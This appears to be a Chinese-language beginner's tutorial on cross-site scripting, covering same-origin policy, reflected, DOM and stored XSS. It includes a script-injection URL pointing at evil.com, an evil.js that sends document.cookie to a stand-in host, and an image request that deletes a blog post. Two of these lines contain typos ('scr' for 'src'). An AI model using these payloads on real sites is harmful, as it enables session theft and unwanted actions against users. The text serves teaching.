Web-XSS入門

同源策略

同源策略,指的是瀏覽器對不同源的腳本或者文本的訪問方式進行的限制.
同源,就是指兩個頁面具有相同的協議,主機(也常說域名),端口.

XSS

跨站腳本攻擊(XSS):惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意攻擊用戶的目的.

反射型XSS

假如輸入變量沒有經過htmlEncode處理, 那麼這個變量就存在一個XSS漏洞
攻擊步驟
1. 將含有攻擊代碼的URL發送給被攻擊人
2. 用戶打開攻擊者發送過來的URL
3. Web應用程序執行用戶請求同時也會執行URL中攻擊者的JavaScript代碼

DOMXSS

基於文檔對象模型Document Object Model的一種xss

  1. 使用document.write直接輸出導致瀏覽器解析惡意代碼
  2. 使用innerHTML直接輸出導致瀏覽器解析惡意代碼
  3. eval(),setTimeout/setInterval,location/location.href/location.replace/iframe.src

存儲型XSS

存儲型XSS攻擊就是把攻擊數據存進數據庫,攻擊行爲就伴隨着攻擊數據一直存在

XSS Payload

XSS PayloadJavaScript腳本(還可以是Flash或其他富客戶端的腳本)

最常見的XSS Payload就是讀取瀏覽器的Cookie對象
Cookie中一般加密保存了當前用戶的登錄憑證

攻擊者先加載遠程腳本
http://www.hhh.com/hhh.html?url="><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload在遠程腳本.

evil.js

var img=document.createElement(“img”);
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

最簡單的竊取CookieXSS Payload
防止:CookieHttpOnly標識可以防止

網站上的應用,只需要HTTPGET POST請求,即可完成所有操作,可以通過javascript構造GET POST請求讓應用執行操作

var img=document.createElement(“img”);
img.scr=”http://blog.sohu.com/manage/entry.do?m=delete&id=1111;
document.body.appendChild(img);

攻擊者只需要讓博客的作者執行這段JavaScript代碼,就會把這篇文章刪除.

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章